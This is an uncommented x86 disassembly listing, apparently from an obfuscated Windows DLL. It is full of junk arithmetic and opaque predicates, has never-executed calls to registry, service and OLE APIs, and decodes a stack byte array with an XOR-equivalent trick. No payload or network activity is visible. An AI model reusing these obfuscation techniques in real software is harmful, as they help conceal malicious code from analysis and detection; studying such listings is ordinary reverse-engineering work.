jmp 0x1003f454
and dword [ebp - 0x51c], 0
push 0xfffffffffffffffd
pop eax
sub eax, dword [ebp - 0x51c]
je 0x1003f602
mov dword [ebp - 0x79c], 0xfffffffa
push 3
lea ecx, [ebp - 0xdfc]
call fcn.10009c88
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x258], 0
jmp 0x1003f497
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 3
jge 0x1003f4b9
push dword [ebp - 0x258]
lea ecx, [ebp - 0xdfc]
call fcn.10009d00
mov dword [eax], 0x411d7fea
jmp 0x1003f48a
mov eax, dword [ebp - 0x1b8]
cmp eax, dword [ebp - 0x38]
jle 0x1003f4d0
mov dword [ebp - 0x794], 1
jmp 0x1003f4d7
and dword [ebp - 0x794], 0
cmp dword [ebp - 0x794], 1
jne 0x1003f4ec
mov dword [ebp - 0x524], 1
jmp 0x1003f4f3
and dword [ebp - 0x524], 0
imul esi, dword [ebp - 0x524], 0xf871
push 0
lea ecx, [ebp - 0xa04]
call fcn.10009d00
cmp dword [eax], esi
jl 0x1003f520
cmp dword [ebp - 0xcc], 0
jne 0x1003f520
and dword [ebp - 0x9b0], 0
jmp 0x1003f52a
mov dword [ebp - 0x9b0], 1
mov esi, dword [ebp - 0x9b0]
sub esi, dword [ebp - 0x79c]
push 0
lea ecx, [ebp - 0xa04]
call fcn.10009d00
cmp dword [eax], esi
jge 0x1003f553
mov dword [ebp - 0x52c], 1
jmp 0x1003f55a
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x52c], eax
jne 0x1003f574
mov dword [ebp - 0x534], 1
jmp 0x1003f57b
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x79c]
cmp dword [ebp - 0x534], eax
jge 0x1003f595
mov dword [ebp - 0x8d4], 1
jmp 0x1003f59c
and dword [ebp - 0x8d4], 0
cmp dword [ebp - 0x8d4], 6
jne 0x1003f5b1
mov dword [ebp - 0x53c], 1
jmp 0x1003f5b8
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x53c], eax
jle 0x1003f5d2
mov dword [ebp - 0x7a4], 1
jmp 0x1003f5d9
and dword [ebp - 0x7a4], 0
push 1
lea ecx, [ebp - 0xdfc]
call fcn.10009d00
mov ecx, dword [ebp - 0x7a4]
mov dword [eax], ecx
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xdfc]
call fcn.10009ce4
jmp 0x1003f854
mov dword [ebp - 0x3a0], 0
push 0
lea ecx, [ebp - 0xa04]
call fcn.10009d00
cmp dword [ebp - 0x3a0], 1
jle 0x1003f62e
mov dword [ebp - 0x544], 1
jmp 0x1003f635
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x3a0]
cmp dword [ebp - 0x544], eax
je 0x1003f64f
mov dword [ebp - 0x970], 1
jmp 0x1003f656
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x970]
add eax, 8
mov dword [ebp - 0x260], eax
mov esi, dword [ebp - 0x260]
push 0
lea ecx, [ebp - 0xa04]
call fcn.10009d00
cmp esi, dword [eax]
je 0x1003f688
mov dword [ebp - 0x54c], 1
jmp 0x1003f68f
and dword [ebp - 0x54c], 0
cmp dword [ebp - 0x54c], 7
jbe 0x1003f6a4
mov dword [ebp - 0x7ac], 1
jmp 0x1003f6ab
and dword [ebp - 0x7ac], 0
cmp dword [ebp - 0x7ac], 0
jne 0x1003f6c0
mov dword [ebp - 0x554], 1
jmp 0x1003f6c7
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x554], eax
jge 0x1003f6e1
mov dword [ebp - 0x8dc], 1
jmp 0x1003f6e8
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x8dc], eax
jne 0x1003f702
mov dword [ebp - 0x55c], 1
jmp 0x1003f709
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x55c], eax
jl 0x1003f720
mov dword [ebp - 0x7b4], 1
jmp 0x1003f727
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 0
je 0x1003f752
cmp dword [ebp - 0x38], 0
je 0x1003f752
mov dword [ebp - 0x9e8], 1
jmp 0x1003f759
and dword [ebp - 0x9e8], 0
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0x430], eax
mov esi, dword [ebp - 0x430]
push 0
lea ecx, [ebp - 0xa04]
call fcn.10009d00
sub esi, dword [eax]
mov dword [ebp - 0x3f8], esi
mov eax, dword [ebp - 0x3f8]
cmp eax, dword [ebp - 0x38]
jge 0x1003f797
mov dword [ebp - 0x56c], 1
jmp 0x1003f79e
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0x3a0]
cmp dword [ebp - 0x56c], eax
jge 0x1003f7b8
mov dword [ebp - 0x7bc], 1
jmp 0x1003f7bf
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x7bc], eax
jl 0x1003f7d9
mov dword [ebp - 0x574], 1
jmp 0x1003f7e0
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x574]
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 3
jle 0x1003f801
mov dword [ebp - 0x8e4], 1
jmp 0x1003f808
and dword [ebp - 0x8e4], 0
mov eax, dword [ebp - 0x8e4]
mov dword [ebp - 0x328], eax
imul eax, dword [ebp - 0x328], 0x181c
imul eax, eax, 0x3964
cmp eax, dword [ebp - 0xcc]
jne 0x1003f841
cmp dword [ebp - 0x19c], 0
je 0x1003f841
mov dword [ebp - 0x57c], 1
jmp 0x1003f848
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x38], 0
jne 0x1003f8bf
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x328], eax
mov eax, dword [ebp - 0x328]
add eax, 0x24d52a10
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0xf54], eax
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0xff0], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xf5c], eax
cmp dword [ebp - 0x268], 0xffffffff
jne 0x1003f8b6
cmp dword [ebp - 0x3a8], 0
jne 0x1003f8bf
and dword [ebp - 0x7c4], 0
jmp 0x1003f8c9
mov dword [ebp - 0x7c4], 1
mov eax, dword [ebp - 0x7c4]
sub eax, dword [ebp - 0x260]
jne 0x1003f8e5
or eax, 0xffffffff
jne 0x1003f8e5
and dword [ebp - 0x584], 0
jmp 0x1003f8ef
mov dword [ebp - 0x584], 1
cmp dword [ebp - 0x584], 0xd74e
jle 0x1003f907
mov dword [ebp - 0xba0], 1
jmp 0x1003f90e
and dword [ebp - 0xba0], 0
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0x1048], eax
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0xf64], eax
mov eax, 0xb793
cmp eax, 0x3d6c
jge 0x1003f93e
mov dword [ebp - 0x978], 1
jmp 0x1003f945
and dword [ebp - 0x978], 0
mov eax, dword [ebp - 0x978]
mov dword [ebp - 0x260], eax
push 2
pop eax
test eax, eax
je 0x1003f96d
mov eax, 0x4aa2
test eax, eax
je 0x1003f96d
mov dword [ebp - 0x58c], 1
jmp 0x1003f974
and dword [ebp - 0x58c], 0
cmp dword [ebp - 0x58c], 1
jge 0x1003f989
mov dword [ebp - 0x7cc], 1
jmp 0x1003f990
and dword [ebp - 0x7cc], 0
cmp dword [ebp - 0x7cc], 0x55fca997
jg 0x1003f9a8
mov dword [ebp - 0x594], 1
jmp 0x1003f9af
and dword [ebp - 0x594], 0
cmp dword [ebp - 0x594], 0xffffffff
jl 0x1003f9c4
mov dword [ebp - 0x8ec], 1
jmp 0x1003f9cb
and dword [ebp - 0x8ec], 0
imul eax, dword [ebp - 0x8ec], 0xffffffff
add eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0x2e8]
jg 0x1003f9ec
mov dword [ebp - 0x59c], 1
jmp 0x1003f9f3
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x2e8]
cmp dword [ebp - 0x59c], eax
jl 0x1003fa13
cmp dword [ebp - 0x38], 0
je 0x1003fa13
mov dword [ebp - 0x7d4], 1
jmp 0x1003fa1a
and dword [ebp - 0x7d4], 0
mov eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x268], eax
jmp 0x1003f407
mov byte [ebp - 0xeb], 0
movzx eax, byte [ebp - 0xeb]
test eax, eax
je 0x1003fa5b
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
jmp 0x1003f3c9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa04]
call fcn.10009ce4
jmp 0x1003f336
mov byte [ebp - 0x1f4], 9
mov byte [ebp - 0x1f3], 0xfc
mov byte [ebp - 0x1f2], 2
mov byte [ebp - 0x1f1], 0x1a
mov byte [ebp - 0x1f0], 3
mov byte [ebp - 0x1ef], 0x22
mov byte [ebp - 0x1ee], 1
mov byte [ebp - 0x1ed], 0x33
mov byte [ebp - 0x1ec], 8
mov byte [ebp - 0x1eb], 0xa
mov byte [ebp - 0x1ea], 0xa
mov byte [ebp - 0x1e9], 0x2a
mov byte [ebp - 0x1e8], 0xb
mov byte [ebp - 0x1e7], 0x3d
mov byte [ebp - 0x1e6], 0
mov byte [ebp - 0x1e5], 0x3f
mov byte [ebp - 0x1e4], 4
mov byte [ebp - 0x1e3], 0x22
mov byte [ebp - 0x1e2], 5
mov byte [ebp - 0x1e1], 0x17
mov byte [ebp - 0x1e0], 4
mov byte [ebp - 0x1df], 0xa7
mov byte [ebp - 0x1de], 0x70
mov byte [ebp - 0x1dd], 0x9f
mov byte [ebp - 0x1dc], 0x53
mov byte [ebp - 0x1db], 7
mov byte [ebp - 0x1da], 0x1b
mov byte [ebp - 0x1d9], 6
mov byte [ebp - 0x1d8], 0x1a
mov byte [ebp - 0x1d7], 0xc
mov byte [ebp - 0x1d6], 0x24
mov dword [ebp - 0xac], 0xd4e06482
push 1
lea ecx, [ebp - 0xbe8]
call fcn.10009c88
mov dword [ebp - 4], 0xb
mov dword [ebp - 0xba8], 0xff12
mov dword [ebp - 0x368], 0
jmp 0x1003fb8e
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 1
jge 0x1003fbb0
push dword [ebp - 0x368]
lea ecx, [ebp - 0xbe8]
call fcn.10009d00
mov dword [eax], 2
jmp 0x1003fb81
mov dword [ebp - 0xac], 0
jmp 0x1003fbc9
mov eax, dword [ebp - 0xac]
dec eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0xfffffff3
jl 0x1003fd37
mov dword [ebp - 0x184], 0xe662db8e
mov dword [ebp - 0x270], 0
jmp 0x1003fbf9
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 3
jge 0x1003fc15
mov eax, dword [ebp - 0x270]
mov dword [ebp + eax*4 - 0xcbc], 0xd4f2887c
jmp 0x1003fbec
mov eax, 0x7412
test eax, eax
je 0x1003fc39
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xcbc], 0
je 0x1003fc39
mov dword [ebp - 0x5a4], 1
jmp 0x1003fc40
and dword [ebp - 0x5a4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x5a4]
inc ecx
cmp ecx, dword [ebp + eax - 0xcbc]
jg 0x1003fc61
mov dword [ebp - 0x9b8], 1
jmp 0x1003fc68
and dword [ebp - 0x9b8], 0
cmp dword [ebp - 0x9b8], 0x7e4
jg 0x1003fc80
mov dword [ebp - 0x5ac], 1
jmp 0x1003fc87
and dword [ebp - 0x5ac], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xcbc]
cmp eax, dword [ebp - 0x5ac]
jl 0x1003fca7
mov dword [ebp - 0x7dc], 1
jmp 0x1003fcae
and dword [ebp - 0x7dc], 0
cmp dword [ebp - 0x7dc], 0xfffffffa
ja 0x1003fcc3
mov dword [ebp - 0x5b4], 1
jmp 0x1003fcca
and dword [ebp - 0x5b4], 0
push 0
lea ecx, [ebp - 0xbe8]
call fcn.10009d00
mov ecx, dword [ebp - 0x5b4]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0
jmp 0x1003fcf8
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 2
jg 0x1003fd32
push 0
lea ecx, [ebp - 0xbe8]
call fcn.10009d00
mov dword [eax], 0x5245f5b1
mov dword [ebp - 0xba8], 0x5245f5b1
mov eax, dword [ebp - 0x184]
cmp dword [ebp + eax*4 - 0xcbc], 0
je 0x1003fd30
jmp 0x1003fd32
jmp 0x1003fceb
jmp 0x1003fbbc
mov dword [ebp - 0xac], 0
jmp 0x1003fd50
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 1
jge 0x1003fd72
push dword [ebp - 0xac]
lea ecx, [ebp - 0xbe8]
call fcn.10009d00
mov dword [eax], 0x6e9f0866
jmp 0x1003fd43
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbe8]
call fcn.10009ce4
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1f4]
and eax, 0x92
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1f4]
or ecx, 0x92
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1f4]
mov byte [ebp + eax - 0xc70], cl
mov dword [ebp - 0x3c], 2
and dword [ebp - 0x350], 0
jmp 0x1003fdd7
mov eax, dword [ebp - 0x3c]
inc eax
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x1f
jae 0x10040744
mov dword [ebp - 0x1018], 0xfffffff9
mov dword [ebp - 0x1014], 0xfffffff9
mov dword [ebp - 0x1010], 0xfffffff9
mov dword [ebp - 0x100c], 0xfffffff9
mov dword [ebp - 0xff8], 0x37a9a971
mov dword [ebp - 0x9c], 0
jmp 0x1003fe2c
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x1003fe48
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xcd4], 1
jmp 0x1003fe1f
mov dword [ebp - 0x9c], 0
jmp 0x1003fe61
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x1003fe7d
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xfa0], 1
jmp 0x1003fe54
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xcd4], 3
jmp 0x1003fea8
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xcd4]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xcd4], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xcd4], 0
jl 0x1003ff42
mov dword [ebp - 0xe74], 0
mov dword [ebp - 0xe7c], 0xffffffff
mov dword [ebp - 0xe84], 1
mov dword [ebp - 0xe8c], 0x5f499006
mov dword [ebp - 0xe94], 8
mov dword [ebp - 0x2f0], 0
jmp 0x1003ff06
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 2
jge 0x1003ff22
mov eax, dword [ebp - 0x2f0]
mov dword [ebp + eax*4 - 0x1114], 0xffffffff
jmp 0x1003fef9
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xfa0]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xfa0], eax
jmp 0x1003fe8f
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1f4]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x3c], eax
jne 0x1004042a
mov dword [ebp - 0xdc], 0x28ade19d
push 1
lea ecx, [ebp - 0x428]
call fcn.10009c88
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x3b0], 0xa9f4f9a
mov dword [ebp - 0x5c4], 0x390f3bd7
mov dword [ebp - 0x41c], 0xffffffff
mov dword [ebp - 0xc78], 0
mov dword [ebp - 0xbc], 0
jmp 0x1003ffbc
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 3
jge 0x1003ffd8
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0xcec], 0xe064
jmp 0x1003ffaf
mov dword [ebp - 0xbc], 0
jmp 0x1003fff1
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x10040013
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x428]
call fcn.10009d00
mov dword [eax], 0xf4c59cdc
jmp 0x1003ffe4
mov dword [ebp - 0xdc], 0
jmp 0x1004002c
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 3
jge 0x10040048
mov eax, dword [ebp - 0xdc]
mov dword [ebp + eax*4 - 0xcec], 0xbe1d
jmp 0x1004001f
push 0
lea ecx, [ebp - 0x428]
call fcn.10009d00
cmp dword [eax], 0
jne 0x100401b5
push 0
lea ecx, [ebp - 0x428]
call fcn.10009d00
cmp dword [eax], 0
je 0x100400d4
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xcec]
push 0
lea ecx, [ebp - 0x428]
call fcn.10009d00
cmp esi, dword [eax]
jle 0x1004009a
mov dword [ebp - 0x8f4], 1
jmp 0x100400a1
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x3b0]
cmp dword [ebp - 0x8f4], eax
jge 0x100400bb
mov dword [ebp - 0x5bc], 1
jmp 0x100400c2
and dword [ebp - 0x5bc], 0
cmp dword [ebp - 0x5bc], 0xffffffff
jb 0x100400d4
and dword [ebp - 0xbb0], 0
jmp 0x100400de
mov dword [ebp - 0xbb0], 1
push 0
lea ecx, [ebp - 0x428]
call fcn.10009d00
cmp dword [eax], 0
jne 0x100400f9
cmp dword [ebp - 0x3b0], 0
je 0x1004010c
push 6
pop eax
test eax, eax
je 0x1004010c
mov dword [ebp - 0x7e4], 1
jmp 0x10040113
and dword [ebp - 0x7e4], 0
mov esi, dword [ebp - 0x7e4]
add esi, 8
push 0
lea ecx, [ebp - 0x428]
call fcn.10009d00
cmp esi, dword [eax]
jle 0x10040139
mov dword [ebp - 0xbb8], 1
jmp 0x10040140
and dword [ebp - 0xbb8], 0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xe9c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcec]
mov dword [ebp - 0x5c4], eax
mov esi, dword [ebp - 0x5c4]
push 0
lea ecx, [ebp - 0x428]
call fcn.10009d00
cmp dword [eax], esi
jne 0x1004018e
mov dword [ebp - 0x980], 1
jmp 0x10040195
and dword [ebp - 0x980], 0
push 0
lea ecx, [ebp - 0x428]
call fcn.10009d00
mov ecx, dword [ebp - 0x980]
add ecx, dword [eax]
jne 0x100401b5
and dword [ebp - 0x5cc], 0
jmp 0x100401bf
mov dword [ebp - 0x5cc], 1
mov eax, dword [ebp - 0x3b0]
cmp dword [ebp - 0x5cc], eax
jne 0x100401d9
mov dword [ebp - 0xbc0], 1
jmp 0x100401e0
and dword [ebp - 0xbc0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcec]
mov dword [ebp - 0xea4], eax
mov esi, dword [ebp - 0x41c]
push 0
lea ecx, [ebp - 0x428]
call fcn.10009d00
cmp esi, dword [eax]
jge 0x10040216
mov dword [ebp - 0xbc8], 1
jmp 0x1004021d
and dword [ebp - 0xbc8], 0
push 0
lea ecx, [ebp - 0x428]
call fcn.10009d00
mov eax, 0x336
imul eax, eax, 0xffff
sub eax, dword [ebp - 0x41c]
jne 0x1004024f
cmp dword [ebp - 0x41c], 0
jne 0x1004024f
and dword [ebp - 0x7ec], 0
jmp 0x10040259
mov dword [ebp - 0x7ec], 1
mov eax, dword [ebp - 0x7ec]
mov dword [ebp - 0xc78], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x428]
call fcn.10009ce4
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0x1f4]
inc eax
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x330], 0x3b26bdde
mov dword [ebp - 0x278], 0
jmp 0x100402a9
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 1
jge 0x100402c5
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0xc80], 5
jmp 0x1004029c
mov dword [ebp - 0x330], 0xfffffffd
jmp 0x100402de
mov eax, dword [ebp - 0x330]
dec eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0xffffffea
je 0x100403ef
mov dword [ebp - 0xa4], 0xfffffffa
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0xa4], 0xfffffff5
jmp 0x10040318
mov eax, dword [ebp - 0xa4]
dec eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0xfffffff4
jl 0x10040386
mov dword [ebp - 0x280], 0x9fb023ed
mov dword [ebp - 0x280], 0
jmp 0x10040344
mov eax, dword [ebp - 0x280]
dec eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0xffffffef
je 0x10040366
mov dword [ebp - 0x5d4], 0x9b4e
mov eax, dword [ebp - 0x5d4]
inc eax
mov dword [ebp - 0x5d4], eax
jmp 0x10040337
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x10040384
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
jmp 0x1004030b
mov dword [ebp - 0x2f8], 0
jmp 0x1004039f
mov eax, dword [ebp - 0x2f8]
dec eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0xfffffff2
jg 0x100403ea
mov dword [ebp - 0xa4], 0
jmp 0x100403c1
mov eax, dword [ebp - 0xa4]
dec eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0xfffffff4
jle 0x100403de
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc80], 0
je 0x100403dc
jmp 0x100403de
jmp 0x100403b4
mov dword [ebp - 0xa4], 9
jmp 0x10040392
jmp 0x100402d1
mov byte [ebp - 0x128], 0
movzx eax, byte [ebp - 0x128]
test eax, eax
je 0x10040410
push 0
push 0x203c
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0x1f4]
mov ecx, dword [ebp - 0x3c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x3c], eax
jmp 0x1003fdcf
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x350]
movzx eax, byte [ebp + eax - 0x1f6]
movsx eax, byte [ebp + eax - 0xc70]
mov ecx, dword [ebp - 0x3c]
movzx ecx, byte [ebp + ecx - 0x1f3]
and ecx, eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x350]
movzx eax, byte [ebp + eax - 0x1f6]
movsx eax, byte [ebp + eax - 0xc70]
mov edx, dword [ebp - 0x3c]
movzx edx, byte [ebp + edx - 0x1f3]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0x1f4]
mov byte [ebp + eax - 0xc70], dl
mov dword [ebp - 0xfc], 0x6f2e
mov dword [ebp - 0x288], 0xfffffffe
mov dword [ebp - 0x170], 1
mov dword [ebp - 0x3c0], 0
mov dword [ebp - 0xa68], 0xfffffffc
mov dword [ebp - 0xadc], 0xffffffff
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xeac], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xeb4], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xebc], eax
xor eax, eax
inc eax
cmp eax, 0x43631e19
jbe 0x10040500
mov dword [ebp - 0x8fc], 1
jmp 0x10040507
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0xfc]
imul eax, dword [ebp - 0x8fc]
cmp eax, 0x835a
je 0x10040527
mov dword [ebp - 0x5dc], 1
jmp 0x1004052e
and dword [ebp - 0x5dc], 0
cmp dword [ebp - 0x5dc], 0xffff
je 0x10040551
cmp dword [ebp - 0xfc], 0
jne 0x10040551
xor eax, eax
inc eax
jne 0x10040551
and dword [ebp - 0x7f4], 0
jmp 0x1004055b
mov dword [ebp - 0x7f4], 1
mov eax, dword [ebp - 0x7f4]
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0
je 0x10040585
cmp dword [ebp - 0x288], 0
je 0x10040585
mov dword [ebp - 0x5e4], 1
jmp 0x1004058c
and dword [ebp - 0x5e4], 0
cmp dword [ebp - 0x5e4], 0x89b54615
ja 0x100405a4
mov dword [ebp - 0x9f0], 1
jmp 0x100405ab
and dword [ebp - 0x9f0], 0
mov eax, dword [ebp - 0x9f0]
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0
je 0x10040664
mov dword [ebp - 0x3b8], 0x1a79
mov dword [ebp - 0xc58], 4
cmp dword [ebp - 0x288], 0xb9c279a2
ja 0x10040649
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x170]
jl 0x100405fe
mov dword [ebp - 0xc7c], 1
jmp 0x10040605
and dword [ebp - 0xc7c], 0
mov eax, dword [ebp - 0x3b8]
cmp eax, dword [ebp - 0x170]
je 0x10040625
cmp dword [ebp - 0x3b8], 0
jne 0x10040625
and dword [ebp - 0x5ec], 0
jmp 0x1004062f
mov dword [ebp - 0x5ec], 1
push 4
pop eax
sub eax, dword [ebp - 0x3b8]
cmp eax, dword [ebp - 0x5ec]
jne 0x10040649
and dword [ebp - 0x7fc], 0
jmp 0x10040653
mov dword [ebp - 0x7fc], 1
mov eax, dword [ebp - 0x7fc]
mov dword [ebp - 0xc58], eax
jmp 0x10040738
mov dword [ebp - 0x400], 0
mov dword [ebp - 0xa70], 0
mov dword [ebp - 0x3c0], 0
cmp dword [ebp - 0x3c0], 0
jne 0x10040699
xor eax, eax
inc eax
jne 0x10040699
and dword [ebp - 0xba4], 0
jmp 0x100406a3
mov dword [ebp - 0xba4], 1
cmp dword [ebp - 0x400], 1
jle 0x100406b8
mov dword [ebp - 0xa94], 1
jmp 0x100406bf
and dword [ebp - 0xa94], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xec4], eax
mov dword [ebp - 0x170], 0x21210cbe
mov eax, dword [ebp - 0xa68]
mov dword [ebp - 0x400], eax
mov eax, dword [ebp - 0x170]
sub eax, dword [ebp - 0x400]
je 0x10040704
cmp dword [ebp - 0x3c0], 0
je 0x10040704
mov dword [ebp - 0x5f4], 1
jmp 0x1004070b
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0xadc]
cmp dword [ebp - 0x5f4], eax
jl 0x10040725
mov dword [ebp - 0x904], 1
jmp 0x1004072c
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0x904]
mov dword [ebp - 0xa70], eax
and dword [ebp - 0x350], 0
jmp 0x1003fdcf
mov dword [ebp - 0x5c], 0xfc07e17f
mov dword [ebp - 0x804], 0xd40a1650
mov dword [ebp - 0x814], 0x35984225
mov dword [ebp - 0x8c], 0
jmp 0x10040778
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 1
jge 0x10040794
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x104], 0xcfbc
jmp 0x1004076b
mov dword [ebp - 0x8c], 0
jmp 0x100407ad
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x100407c9
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x1150], 0x8b15b45b
jmp 0x100407a0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xecc], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x104]
cmp ecx, dword [ebp + eax - 0x104]
je 0x100407fa
mov dword [ebp - 0x5fc], 1
jmp 0x10040801
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0x5fc]
mov dword [ebp - 0x804], eax
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x804]
je 0x10040824
mov dword [ebp - 0x604], 1
jmp 0x1004082b
and dword [ebp - 0x604], 0
cmp dword [ebp - 0x604], 0x8628
jle 0x10040843
mov dword [ebp - 0xae0], 1
jmp 0x1004084a
and dword [ebp - 0xae0], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x104]
